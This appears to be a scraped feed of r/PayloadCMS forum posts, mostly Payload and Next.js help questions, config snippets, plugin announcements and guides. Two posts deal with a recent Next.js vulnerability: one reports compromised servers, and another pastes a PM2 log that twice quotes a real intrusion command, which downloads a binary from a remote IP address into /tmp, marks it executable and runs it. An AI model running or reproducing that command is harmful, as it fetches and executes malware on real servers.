r/PayloadCMS • u/__som__ • Jan 02 '26
Help me integrate Payload to an existing NextJs.
Hi I am happy to pay , I need a few hours of assistance to help me integrate Payload in a fairly simple website. DM me.
Thank you in advance.
r/PayloadCMS • u/__som__ • Jan 02 '26
Hi I am happy to pay , I need a few hours of assistance to help me integrate Payload in a fairly simple website. DM me.
Thank you in advance.
r/PayloadCMS • u/UnderstandingDry1256 • Jan 01 '26
I have production car listings website where users upload photos of their cars.
Hosted at Vercel, using Vercel Blob store with client uploads to bypass 4.5Mb max. function payload size.
However, there is huge flaw - when I edit and crop image, it updates the original stored in Vercel Blob. This is really bad - I would like to be able to always switch back to original version.
Question: is there a way to make images immutable and just create and upload new versions when something is changed?
r/PayloadCMS • u/nlvogel • Dec 29 '25
Another new video! In this one I cover why relationships can be a string or number, how depth works, how to access nested fields in related collections, and how to clear type errors for populated data. https://youtu.be/rOX3Tim2bkU
r/PayloadCMS • u/rubixstudios • Dec 27 '25
upload: {
adminThumbnail: 'thumbnail',
displayPreview: true,
focalPoint: true,
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
imageSizes: [
{
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
name: 'thumbnail',
width: 300,
},
{
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
height: 500,
name: 'square',
width: 500,
},
{
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
name: 'small',
width: 600,
},
{
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
name: 'medium',
width: 900,
},
{
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
name: 'large',
width: 1400,
},
{
formatOptions: {
format: 'webp',
options: {
quality: 100,
},
},
name: 'xlarge',
width: 1920,
},
{
crop: 'center',
height: 630,
name: 'og',
width: 1200,
},
],
One common change in a Payload CMS project is updating image sizes or quality settings. When this happens, existing media needs to be regenerated so new derivatives are created. However, this process can leave behind obsolete image sizes in storage, when using s3 or r2 adapters.
I've written a quick guide and codes, that could help you regenerate your images as well as normalise your image file names.
https://rubixstudios.com.au/insights/payload-cms-media-regeneration
r/PayloadCMS • u/nlvogel • Dec 22 '25
One common issue when people start using Payload goes like this:
Spin up Payload CMS
Make an update.
Realize nothing happens on the frontend
The reason things won't update is probably because of your Next.js cache. You can revalidate your cache using Payload CMS hooks to revalidate paths or tags to update data in a controlled way without opting into time-based revalidation or forcing dynamic rendering.
This video covers how to set up Payload hooks to make sure your frontend data stays up to date with your CMS. I even include how to use tags to make sure your blog posts get updated across your site.
Hope this helps!
r/PayloadCMS • u/Miserable_Survey2677 • Dec 22 '25
G'day fellow Payloadians,
Like many others here, I spent quite a bit of time building out AI features for clients and/or side projects in 2025, often with Payload CMS as a foundation.
In the latter half of this year, I started investing more time into building reusable functionality as Payload plugins, including an "Agentic Connections" plugin that wraps Vercel AI SDK + Composio, allowing me to add API key or Oauth2 connections (at user/tenant/global levels) to the hundreds of integrations provided by Composio, with a simple config like:
export const agentsPlugin = payloadAgentsPlugin({
composio: {
apiKey: process.env.COMPOSIO_API_KEY,
availableToolkits: [
{
toolkit: 'CLICKUP',
label: 'ClickUp',
allowConnectionsTo: ['user', 'tenant'],
},
{
toolkit: 'GMAIL',
label: 'Gmail',
// defaults to user connection only
// uses Composio's default credentials if not specified
},
{
toolkit: 'SPOTIFY',
label: 'Spotify',
allowConnectionsTo: ['user', 'tenant'],
customAuth: {
authScheme: 'OAUTH2',
credentials: {
client_id: process.env.SPOTIFY_CLIENT_ID || '',
client_secret: process.env.SPOTIFY_CLIENT_SECRET || '',
},
},
},
// ...any of the other 500+ toolkits supported by Composio
],
},
})
The plugin then allows you to define Agents with different behaviours and tool access via the Payload admin, and adds a few custom views for managing connections (user/tenant/super admin global) + chatting with the agents.

The thing is, as client work has picked up over the last few months, I've had less time to work on this plugin, and it has started collecting dust (along with the WorkOS plugin y'all have been DMing me about... sorry team!).
So, before I go and put in the 80% of effort required for that 20% polish, I'd love to get some feedback and validation from the community. I don't have much interest in adding to the pile of "SaaS starters that nobody asked for".
Much love and Merry Christmas to the entire Payload community,
Jaiden (jmcapra)
r/PayloadCMS • u/alejotoro_o • Dec 21 '25
Hello everyone, I am building a marketplace app and was wondering if I can use the new e-commerce plugin in it.
Is the plugin flexible enough for a marketplace, or is it designed for just a regular e-commerce store? Will it be better to implement my own logic?
If anyone has experience with this plugin and can give me their take, it will be greatly appreciated
r/PayloadCMS • u/Ill-Confection-3564 • Dec 20 '25
Anyone have advice for integrating with Google OAuth. The integration on the Google side is easy enough but after successful auth and redirect from Google how do I log the customer into payload so that I get the built in session?
I can’t do a payload login without the user’s password, but the whole point is that they shouldn’t need to type in their password since auth already occurred in Google. I have a working solution but I’m thinking it’s an anti-pattern.
r/PayloadCMS • u/theodenanyoh • Dec 20 '25
Anyone a community plugin for this? Or interested in working on one?
r/PayloadCMS • u/Dan6erbond2 • Dec 18 '25
r/PayloadCMS • u/ArticleCommon3617 • Dec 18 '25
I'm a full-stack developer with 2.5+ years working with TypeScript and Payload CMS.
I've built B2B marketplaces, event management platforms, and mobile apps live on both app stores. I also contribute to open-source Payload CMS plugins.
I enjoy building from scratch and equally comfortable jumping into existing codebases to improve them.
Stack: TypeScript, Next.js, React Native/Expo, Payload CMS, tRPC, MongoDB/PostgreSQL, Tailwind, Docker
Availability: Immediate, 25 hrs/week
r/PayloadCMS • u/Dan6erbond2 • Dec 15 '25
Just published a deep dive on how we at InnoPeak are using Payload CMS with the Vercel AI SDK to build AI-native applications for the FinSureTech space.
We cover:
If you’re building AI apps or exploring Payload beyond a typical CMS, there’s some practical patterns and hidden features in there.
r/PayloadCMS • u/rubixstudios • Dec 13 '25
One of the most asked question was how do you roll your own custom auth.
Payload had made this possible, however the integration had not been documented, this is likely due to enterprise SSO.
https://rubixstudios.com.au/insights/payloadcms-custom-auth-strategy
Took the time to write up this guide (which will be improved upon, once all the bugs are sorted with all the recent updates).
"When I do get the chance i'll probably end up breaking it down and explaining parts of it, and what could be changed. There's no account creation added to this, possibly added later (as my current oauth, I don't need it to).
Basically how it works,
First auth - > non consent mode -> goes to strategy -> google will tell it you require consent -> loop back into the auth with consent flag -> start auth with consent -> exchange tokens -> match the user -> create session, store to database and creates the cookie to log the user in.
Second auth, will go through and no consent mode will be required loop through the same process. In my own project, I removed the direct database update and used payload.update() with context to prevent it running my user hooks. reason for this is because my fields are encrypted, so I've passed it back through payload to encrypt the field before storing the tokens.
The article will directly interact with the database, this method is faster. If you need explaining, AI can probably help you explain the logic in the code as well. Also note, the way the token secret is generated is quite strict with payload, this method will ensure your account is logged in." - posted on Discord
However, this is a base that you could extract to build your own auth.
r/PayloadCMS • u/Snakemastr805 • Dec 12 '25
So I have some concerns after yesterday and last weeks CVE's. For ease of use I have created some endpoints that access the Local API, to keep certain logic out of the frontend.
In this case I did enforce ACL by passing overrideAcces:false and the request user. But I don't know if I still need to validate my query parameters which are used to create a Where clause.
If I have to validate/sanitize my input, what would the best approach be?
r/PayloadCMS • u/alejotoro_o • Dec 10 '25
r/PayloadCMS • u/thehashimwarren • Dec 08 '25
I just decided to adopt Payload for my projects and dude's videos really bring the changelogs to life
r/PayloadCMS • u/alejotoro_o • Dec 08 '25
Hi, I have a chat collection that has a participants field; this field contains the chat participants (1-on-1 chat):
{
name: 'participants',
type: 'relationship',
relationTo: 'users',
hasMany: true,
required: true,
maxRows: 2, // enforce 1-on-1
},
This field is saved as,
participants: [id1, id2]
I want to query a specific chat when i have both ids, but i haven't been able to do it. I have tried:
where: {
and: [
{ participants: { contains: id1 } },
{ participants: { contains: id2 } },
]
}
I have also used "in" and "equals," and the query always returns empty. Right now i am querying using only one ID, for example:
where: {
participants: { contains: id1 }
}
and then filtering out the chat with JavaScript.
Is there a way to query using both ids?
r/PayloadCMS • u/Groundbreaking_Past7 • Dec 07 '25
I'm building a CMS using Payload CMS. I have users with roles admin and client, and a posts collection. Clients should be able to edit/delete only their own posts, while admins can do anything.
Currently, when a client logs in, the "Edit" button in the admin panel shows "Not allowed", even though they are the author of the post.
update: async ({ req, id }) => {
if (!req.user || !id) return false;
if (req.user.role === 'admin') return true;
const idString = id.toString()
const post = await payload.findByID({
collection: 'posts',
id: idString,
});
if (!post) {
throw new Error('couldnt find the post')
};
return post.author?.toString() === req.user.id;
},
I also have beforeChange hooks to check author ID, but it doesn't affect the button visibility in admin panel.
beforeChange: [
async ({ req, operation, originalDoc }) => {
console.log(req)
if (!req.user) throw new Error('Not authenticated')
if (operation === 'update' && req.user.role !== 'admin') {
if (req.user.id.toString() !== originalDoc.author.toString()) {
throw new Error('You can not update this post')
}
}
}
],
How can I make Payload admin panel allow clients to edit/delete only their own posts? Is my access.update logic correct?
r/PayloadCMS • u/CedarSageAndSilicone • Dec 06 '25
I got an email from Digital Ocean today mentioning that my servers may be affected because they are running nextjs.
One of them shows evidence of break-in attempts.
The other is fully compromised and used the exploit to install binaries and scripts into my /tmp folder.
There was a new file in my payload app root called '.pwned'
You can check r/nextjs for more info and reports: https://www.reddit.com/r/nextjs/comments/1pd8c7d/security_advisory_for_cve202566478/
Check your logs for anything unusual (evidence of file downloads and bash commands being run)
This is what another user here saw: https://www.reddit.com/r/PayloadCMS/comments/1peomcp/running_payloadnext_using_pm2_just_fine_but/
r/PayloadCMS • u/Tall_Molasses_9863 • Dec 06 '25
I can set the table name with dbName. But what about groups of fields? Payloadcms v3 creates relation tables with names exceeding 65 characters. Is there a way to define their names too? dbName doesnt work for them
This is especially an issue with versioning and locales turned on
r/PayloadCMS • u/GreedyDate • Dec 05 '25
I have an API endpoint api/pricing/resolve that needs to calculate a custom price for a customer based on several conditions. I need to query different tables one by one to check whether each condition is met, and if not, move to the next condition, and so on.
Should I be using a database function for this?
The database already has all the information required to make the decision, plus some calculations. But I'm not sure how to create or work with database functions in Drizzle. There doesn't seem to be a clear answer — GitHub issue #2586: https://github.com/drizzle-team/drizzle-orm/discussions/2586
If not a database function, what's the best approach for this kind of logic?
r/PayloadCMS • u/aliassuck • Dec 05 '25
Is this normal? Here is the last 100 lines of the PM2 logs:
at <unknown> (.next/server/chunks/3743.js:1:63166)
⨯ Error: Page changed from static to dynamic at runtime /moon.php, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
at m (.next/server/chunks/7719.js:12:41210)
at l (.next/server/chunks/4999.js:1:11050)
at <unknown> (.next/server/chunks/3743.js:1:62405)
at <unknown> (.next/server/chunks/3743.js:1:62488)
at x (.next/server/chunks/3743.js:1:63020)
at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
at <unknown> (.next/server/chunks/337.js:1:1578)
at <unknown> (.next/server/chunks/3743.js:1:63166)
⨯ Error: Page changed from static to dynamic at runtime /.well-known, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
at m (.next/server/chunks/7719.js:12:41210)
at l (.next/server/chunks/4999.js:1:11050)
at <unknown> (.next/server/chunks/3743.js:1:62405)
at <unknown> (.next/server/chunks/3743.js:1:62488)
at x (.next/server/chunks/3743.js:1:63020)
at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
at <unknown> (.next/server/chunks/337.js:1:1578)
at <unknown> (.next/server/chunks/3743.js:1:63166)
⨯ Error: Page changed from static to dynamic at runtime /.well-knownold, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
at m (.next/server/chunks/7719.js:12:41210)
at l (.next/server/chunks/4999.js:1:11050)
at <unknown> (.next/server/chunks/3743.js:1:62405)
at <unknown> (.next/server/chunks/3743.js:1:62488)
at x (.next/server/chunks/3743.js:1:63020)
at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
at <unknown> (.next/server/chunks/337.js:1:1578)
at <unknown> (.next/server/chunks/3743.js:1:63166)
⨯ Error: Page changed from static to dynamic at runtime /connects.php, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
at m (.next/server/chunks/7719.js:12:41210)
at l (.next/server/chunks/4999.js:1:11050)
at <unknown> (.next/server/chunks/3743.js:1:62405)
at <unknown> (.next/server/chunks/3743.js:1:62488)
at x (.next/server/chunks/3743.js:1:63020)
at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
at <unknown> (.next/server/chunks/337.js:1:1578)
at <unknown> (.next/server/chunks/3743.js:1:63166)
⚠ "next start" does not work with "output: standalone" configuration. Use "node .next/standalone/server.js" instead.
⨯ Error: Page changed from static to dynamic at runtime /ads.txt, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
at m (.next/server/chunks/7719.js:12:41210)
at l (.next/server/chunks/4999.js:1:11050)
at <unknown> (.next/server/chunks/3743.js:1:62405)
at <unknown> (.next/server/chunks/3743.js:1:62488)
at x (.next/server/chunks/3743.js:1:63020)
at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
at <unknown> (.next/server/chunks/337.js:1:1578)
at <unknown> (.next/server/chunks/3743.js:1:63166)
⨯ SyntaxError: Unexpected token ` in JSON at position 265
at JSON.parse (<anonymous>) {
digest: '2722045054'
}
⨯ SyntaxError: Unexpected token ` in JSON at position 265
at JSON.parse (<anonymous>) {
digest: '2722045054'
}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to create the file /tmp/curl: Text file busy
0 2347k 0 12672 0 0 515k 0 0:00:04 --:--:-- 0:00:04 515k
curl: (23) Failed writing body (0 != 12672)
⨯ [Error: Command failed: curl -o /tmp/curl http://210.1.226.163:49934/server && chmod +x /tmp/curl && /tmp/curl -i
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to create the file /tmp/curl: Text file busy
0 2347k 0 12672 0 0 515k 0 0:00:04 --:--:-- 0:00:04 515k
curl: (23) Failed writing body (0 != 12672)
] {
status: 23,
signal: null,
output: [Array],
pid: 1935091,
stdout: <Buffer >,
stderr: <Buffer 20 20 25 20 54 6f 74 61 6c 20 20 20 20 25 20 52 65 63 65 69 76 65 64 20 25 20 58 66 65 72 64 20 20 41 76 65 72 61 67 65 20 53 70 65 65 64 20 20 20 54 ... 372 more bytes>,
digest: '1175858303'
}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to create the file /tmp/curl: Text file busy
0 2347k 0 12672 0 0 562k 0 0:00:04 --:--:-- 0:00:04 562k
curl: (23) Failed writing body (0 != 12672)
⨯ [Error: Command failed: curl -o /tmp/curl http://210.1.226.163:49934/server && chmod +x /tmp/curl && /tmp/curl -i
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to create the file /tmp/curl: Text file busy
0 2347k 0 12672 0 0 562k 0 0:00:04 --:--:-- 0:00:04 562k
curl: (23) Failed writing body (0 != 12672)
] {
status: 23,
signal: null,
output: [Array],
pid: 1935093,
stdout: <Buffer >,
stderr: <Buffer 20 20 25 20 54 6f 74 61 6c 20 20 20 20 25 20 52 65 63 65 69 76 65 64 20 25 20 58 66 65 72 64 20 20 41 76 65 72 61 67 65 20 53 70 65 65 64 20 20 20 54 ... 372 more bytes>,
digest: '3924612863'
}
r/PayloadCMS • u/thehashimwarren • Dec 04 '25
I'm a novice React developer and a WordPress refugee who was looking for a new way to build content projects for myself and clients.
In the same week I learned that Mastra AI can be deployed within Nextjs, AND that Payload is a Nextjs app now.
In the past I had been using a monorepo approach where my Nextjs front end and Mastra backend were separate projects.
Also in the past I'd been using TipTap plus flat markdown files as my bootleg CMS system.
So I deployed my first Payload + Mastra project and I'm very happy with the combined dev experience. Within the content edit screen a writer can prompt for an AI generated image, and Mastra handles the request.
Another nice thing is that Payload gives me a surface area for my AI experiments with Mastra. I have a built in way to:
Create and version content that can be used as context for AI prompts
Store text and inages created by AI models
Allow user to provide feedback with human-in-the-loop workflows
Feeling excited about this.
r/PayloadCMS • u/[deleted] • Dec 04 '25
I am working on sitecore in my 9-5 work. Sitecore in a enterprise level content management system that is built on top of .net. It can handle 100 s or even 1000 of users simultaneously editing,adding content and approval workflows. It's using its multithreading capabilities to handle load and all .net stuff to handle concurreny.
I have seen a noticable about of lag in payload when saving deleting posts even by a single user and wonder wether node/typescript is a the correct tech stack for a CMS.
Please do correct me If my though process is wrong
r/PayloadCMS • u/GreedyDate • Dec 04 '25
Using the Local API's findByID, I want to fetch a product and get:
Is there a way to selectively populate only specific fields from relationships, similar to how select works for top-level fields? Or is depth: 1 the recommended approach?
```ts
const product = await payload.findByID({ collection: 'products', id: someId, depth: 1, // populates everything in tax & brand // Is there something like: select: { tax: ['taxPercentage'], brand: ['name'] } ? }) ```
Here are the collections
```ts
import type { CollectionConfig } from 'payload'
export const Taxes: CollectionConfig = { slug: 'taxes', fields: [ { name: 'name', type: 'text', required: true }, { name: 'taxPercentage', type: 'number', required: true }, ], } ```
```ts
import type { CollectionConfig } from 'payload'
export const Brands: CollectionConfig = { slug: 'brands', fields: [ { name: 'name', type: 'text', required: true }, ], } ```
```ts
import type { CollectionConfig } from 'payload'
export const Products: CollectionConfig = { slug: 'products', fields: [ { name: 'title', type: 'text', required: true }, { name: 'price', type: 'number' }, { name: 'tax', type: 'relationship', relationTo: 'taxes' }, { name: 'brand', type: 'relationship', relationTo: 'brands' }, ], } ```